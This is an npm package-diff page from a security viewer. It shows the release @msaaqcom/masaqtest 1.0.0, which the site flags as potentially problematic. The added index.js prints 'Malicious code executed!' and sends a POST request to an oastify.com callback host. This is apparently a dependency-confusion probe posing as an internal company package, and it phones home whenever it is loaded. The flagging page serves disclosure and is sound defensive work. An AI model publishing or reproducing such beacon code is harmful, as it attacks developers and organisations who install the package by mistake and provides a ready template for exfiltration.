@msaaqcom/masaqtest 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @msaaqcom/masaqtest might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +31 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ // index.js
2
+ console.log("Malicious code executed!");
3
+
4
+ // Optionally, send a network request to your server for verification
5
+ const http = require('https');
6
+
7
+ const data = JSON.stringify({ message: 'Malicious code executed!' });
8
+
9
+ const options = {
10
+ hostname: 'gtd3h3pd4j6755pp0j6atvb7byhp5otd.oastify.com',
11
+ port: 443,
12
+ path: '/log',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': data.length,
17
+ },
18
+ };
19
+
20
+ const req = http.request(options, (res) => {
21
+ res.on('data', (d) => {
22
+ process.stdout.write(d);
23
+ });
24
+ });
25
+
26
+ req.on('error', (e) => {
27
+ console.error(e);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@msaaqcom/masaqtest",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }